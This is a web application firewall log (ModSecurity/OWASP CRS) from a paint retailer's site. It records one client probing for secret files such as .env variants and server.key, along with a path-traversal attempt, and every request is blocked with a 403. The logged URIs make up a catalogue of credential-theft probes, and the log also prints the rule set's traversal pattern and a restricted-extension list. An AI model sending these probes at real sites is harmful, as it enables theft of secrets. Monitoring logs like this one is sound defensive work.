[Mon Oct 26 07:29:17.119620 2026] [security2:error] [pid 3023394:tid 3023394] [client 34.19.176.196:37806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at85jSgqq3CRmBohYLhonwAAABs"]
[Mon Oct 26 07:29:17.119834 2026] [security2:error] [pid 3023394:tid 3023394] [client 34.19.176.196:37806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at85jSgqq3CRmBohYLhonwAAABs"]
[Mon Oct 26 07:29:17.120936 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at85jZ_dbg3ptBnwDgQ4NQAAAAM"]
[Mon Oct 26 07:29:17.121076 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at85jZ_dbg3ptBnwDgQ4NQAAAAM"]
[Mon Oct 26 07:29:17.121301 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at85jZ_dbg3ptBnwDgQ4NQAAAAM"]
[Mon Oct 26 07:29:17.122332 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at85jRatj5i5ZMjJaPkrVgAAABY"]
[Mon Oct 26 07:29:17.122488 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at85jRatj5i5ZMjJaPkrVgAAABY"]
[Mon Oct 26 07:29:17.122720 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at85jRatj5i5ZMjJaPkrVgAAABY"]
[Mon Oct 26 07:29:17.123737 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at85jT2qIoRfAL3Hx22jMAAAAAI"]
[Mon Oct 26 07:29:17.123878 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at85jT2qIoRfAL3Hx22jMAAAAAI"]
[Mon Oct 26 07:29:17.124118 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at85jT2qIoRfAL3Hx22jMAAAAAI"]
[Mon Oct 26 07:29:17.125094 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at85jTUxizeD7p0l-jkf0AAAAB8"]
[Mon Oct 26 07:29:17.125241 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at85jTUxizeD7p0l-jkf0AAAAB8"]
[Mon Oct 26 07:29:17.125448 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at85jTUxizeD7p0l-jkf0AAAAB8"]
[Mon Oct 26 07:29:17.129567 2026] [security2:error] [pid 3023412:tid 3023412] [client 34.19.176.196:37796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at85jb7T9Q5pRrH_j90ZmgAAACQ"]
[Mon Oct 26 07:29:17.129796 2026] [security2:error] [pid 3023412:tid 3023412] [client 34.19.176.196:37796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at85jb7T9Q5pRrH_j90ZmgAAACQ"]
[Mon Oct 26 07:29:17.130190 2026] [security2:error] [pid 3023412:tid 3023412] [client 34.19.176.196:37796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at85jb7T9Q5pRrH_j90ZmgAAACQ"]
[Mon Oct 26 07:29:17.137946 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at85jdllH_J00GQzpNGhYwAAABg"]
[Mon Oct 26 07:29:17.138090 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at85jdllH_J00GQzpNGhYwAAABg"]
[Mon Oct 26 07:29:17.138351 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at85jdllH_J00GQzpNGhYwAAABg"]
[Mon Oct 26 07:29:17.152788 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at85jWr0p85NPswPKocFSgAAACA"]
[Mon Oct 26 07:29:17.152998 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at85jWr0p85NPswPKocFSgAAACA"]
[Mon Oct 26 07:29:17.153228 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at85jWr0p85NPswPKocFSgAAACA"]
[Mon Oct 26 07:29:17.154231 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at85jTobCwOEb8ifz36PmwAAABQ"]
[Mon Oct 26 07:29:17.154398 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at85jTobCwOEb8ifz36PmwAAABQ"]
[Mon Oct 26 07:29:17.154644 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at85jTobCwOEb8ifz36PmwAAABQ"]
[Mon Oct 26 07:29:17.215006 2026] [security2:error] [pid 3023418:tid 3023418] [client 34.19.176.196:37686] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at85jXIyE5c2GbsrALkgtgAAAC0"]
[Mon Oct 26 07:29:17.215295 2026] [security2:error] [pid 3023418:tid 3023418] [client 34.19.176.196:37686] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at85jXIyE5c2GbsrALkgtgAAAC0"]
[Mon Oct 26 07:29:17.215844 2026] [security2:error] [pid 3023418:tid 3023418] [client 34.19.176.196:37686] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at85jXIyE5c2GbsrALkgtgAAAC0"]
[Mon Oct 26 07:29:18.639695 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at85jhatj5i5ZMjJaPkrVwAAABY"]
[Mon Oct 26 07:29:18.640086 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at85jhatj5i5ZMjJaPkrVwAAABY"]
[Mon Oct 26 07:29:18.640356 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at85jhatj5i5ZMjJaPkrVwAAABY"]
[Mon Oct 26 07:29:18.641442 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85jt-fnwNv3Luhiy4YVwAAAAE"]
[Mon Oct 26 07:29:18.641516 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85jt-fnwNv3Luhiy4YVwAAAAE"]
[Mon Oct 26 07:29:18.641784 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85jt-fnwNv3Luhiy4YVwAAAAE"]
[Mon Oct 26 07:29:18.642024 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85jt-fnwNv3Luhiy4YVwAAAAE"]
[Mon Oct 26 07:29:18.642936 2026] [security2:error] [pid 3023415:tid 3023415] [client 34.19.176.196:37952] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at85jlpPztySgmrAFx5-DQAAACk"]
[Mon Oct 26 07:29:18.643196 2026] [security2:error] [pid 3023415:tid 3023415] [client 34.19.176.196:37952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at85jlpPztySgmrAFx5-DQAAACk"]
